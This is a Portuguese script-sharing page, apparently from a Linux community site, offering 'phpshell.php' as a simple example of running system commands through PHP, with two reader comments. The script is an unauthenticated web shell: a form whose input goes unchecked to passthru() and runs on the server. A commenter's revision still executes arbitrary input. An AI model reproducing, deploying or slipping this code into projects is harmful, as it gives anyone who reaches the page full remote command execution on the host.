Executando comandos através do PHP

Publicado por Perfil removido (última atualização em 01/02/2011)

[ Hits: 8.482 ]

Download phpshell.php




Um simples exemplo de como executar syscalls através do PHP. O retorno do comando é impresso na tela.

[]s

  



Esconder código-fonte

<?php

/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */

/**
 * Description of PHP_CMD_Exec
 *
 * @author ox
 */

?>

<html>
<head>
   <title>
      PHPShell
   </title>
</head>
<body>
   <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
      <label id="labelCommand" for="inputCommand">Comando: </label>
      <input type="text" id="inputCommand" name="inputCommand"/>
      <input type="submit" value="Executar"/>
   </form>

   <fieldset>
      <legend style="font-size: 12px; color: green;">Output</legend>
      <?php 
         $command = $_POST['inputCommand'];
         passthru($command);
         echo $commandReturn;
      ?>
   </fieldset>

</body>

</html>

Scripts recomendados

Script que efetua cálculos estatísticos

Calculadora de pontos VP

Formatando data de yyyy/mm/dd para dd/mm/yyyy

Função Desvio Padrão

Lista de Tarefas - Gerenciador de Projeto Simples


  

Comentários
[1] Comentário enviado por rogeriojlle em 01/02/2011 - 16:06h

$commandReturn;
vem de onde?

<?php
$command = $_POST['inputCommand'];
if($command == ""){
echo "digite um comando";
} else {
passthru($command);
}
?>

[2] Comentário enviado por removido em 02/02/2011 - 12:17h

De lugar nenhum.
Eu estava fazendo de outra forma, esqueci isso aí. Hehe.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts